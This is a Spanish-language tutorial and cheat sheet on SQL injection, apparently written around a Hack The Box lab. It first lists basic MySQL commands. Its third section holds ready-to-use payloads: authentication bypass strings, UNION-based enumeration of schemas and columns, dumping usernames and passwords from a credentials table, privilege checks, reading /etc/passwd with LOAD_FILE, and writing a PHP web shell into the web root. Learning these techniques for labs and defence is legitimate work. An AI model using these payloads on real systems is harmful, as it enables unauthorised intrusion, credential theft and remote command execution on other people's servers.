Inyecciones SQL

1. Introducción

Hoy vamos a sumergirnos en los cimientos de las Inyecciones SQL: veremos desde los comandos más comunes de MySQL hasta las tácticas básicas para explotar vulnerabilidades, siempre con ejemplos prácticos que podréis probar.


2. Herramientas y comandos básicos de MySQL

Antes de ponernos manos a la obra con inyecciones, es esencial dominar el uso de MySQL por línea de comandos. A continuación tenéis una lista de comandos imprescindibles.

2.1. Conexión y navegación entre bases de datos

mysql -u root -h docker.hackthebox.eu -P 3306 -p

Inicia sesión en el servidor MySQL.

SHOW DATABASES;

Muestra todas las bases de datos disponibles.

USE users;

Cambia el contexto a la base de datos users.

2.2. Gestión de tablas

CREATE TABLE logins (id INT, ...);

Crea una nueva tabla llamada logins.

SHOW TABLES;

Lista las tablas existentes en la base de datos activa.

DESCRIBE logins;

Muestra la estructura y columnas de la tabla logins.

DROP TABLE logins;

Elimina la tabla logins del esquema.

ALTER TABLE logins ADD newColumn INT;

Agrega una nueva columna newColumn de tipo entero.

ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;

Renombra newColumn a oldColumn.

ALTER TABLE logins MODIFY oldColumn DATE;

Cambia el tipo de datos de oldColumn a DATE.

ALTER TABLE logins DROP oldColumn;

Elimina la columna oldColumn.

2.3. Inserción y actualización de datos

INSERT INTO table_name VALUES (value_1, ...);

Añade una fila completa a la tabla.

INSERT INTO table_name(column2, ...) VALUES (column2_value, ...);

Inserta valores solo en columnas específicas.

UPDATE table_name SET column1 = newvalue1, ... WHERE <condition>;

Modifica datos existentes según una condición.

2.4. Selección y filtrado

SELECT * FROM table_name;

Recupera todas las columnas de la tabla.

SELECT column1, column2 FROM table_name;

Obtiene solo las columnas column1 y column2.

SELECT * FROM logins WHERE username LIKE 'admin%';

Filtra filas cuyo username empiece por admin.

SELECT * FROM logins ORDER BY column_1;

Ordena los resultados según column_1 (ascendente por defecto).

SELECT * FROM logins ORDER BY column_1 DESC;

Ordena column_1 en orden descendente.

SELECT * FROM logins ORDER BY column_1 DESC, id ASC;

Ordena por column_1 (desc) y después por id (asc).

SELECT * FROM logins LIMIT 2;

Devuelve solo los dos primeros registros.

SELECT * FROM logins LIMIT 1, 2;

Muestra dos resultados, empezando desde el índice 1.

2.5. Precedencia de operadores en MySQL

  1. División (/), Multiplicación (*), Módulo (%)
  2. Suma (+), Resta (-)
  3. Comparaciones (=, >, <, <=, >=, !=, LIKE)
  4. Negación (!)
  5. AND lógico (&&)
  6. OR lógico (||)

3. Introducción a la Inyección SQL

La Inyección SQL consiste en introducir código malicioso en las consultas que una aplicación envía a la base de datos. Veamos las técnicas más habituales.

3.1 Omisión de autenticación

Manipulando el parámetro de usuario/contraseña, podemos forzar que la condición siempre sea verdadera:

admin' or '1'='1

O bien usando comentarios para truncar el resto de la consulta:

admin')-- -

3.2 Inyección con UNION

Esta táctica aprovecha UNION para concatenar los resultados de una consulta maliciosa a la original.

  • Averiguar número de columnas:
' order by 1-- -
cn' UNION select 1,2,3-- -
  • Extraer versión y datos:
cn' UNION select 1,@@version,3,4-- -
  • Obtener campos de otra tabla:
UNION select username, 2, 3, 4 from passwords-- -

3.3 Enumeración de la base de datos

Identifica información clave del sistema y esquemas internos:

SELECT @@version;
SELECT SLEEP(5);

Saca el nombre de la base activa:

cn' UNION select 1,database(),2,3-- -

Listar todas las bases:

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

Tablas de un esquema:

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

Columnas de una tabla:

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

Volcar datos concretos:

cn' UNION select 1, username, password, 4 from dev.credentials-- -

3.4 Privilegios de usuario

Determina el contexto de permisos del usuario:

cn' UNION SELECT 1, user(), 3, 4-- -

Comprueba si tiene privilegios de superusuario:

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

Listado completo de privilegios:

cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -

Variables globales:

cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

3.5 Inyección de archivos

Por último, la inyección en los subsistemas de archivos de MySQL permite leer o escribir ficheros:

  • Leer /etc/passwd:
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
  • Escribir un texto:
select 'file written successfully!' into outfile '/var/www/html/proof.txt';
  • Desplegar un web shell:
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

Comparte esta Publicación en Redes Sociales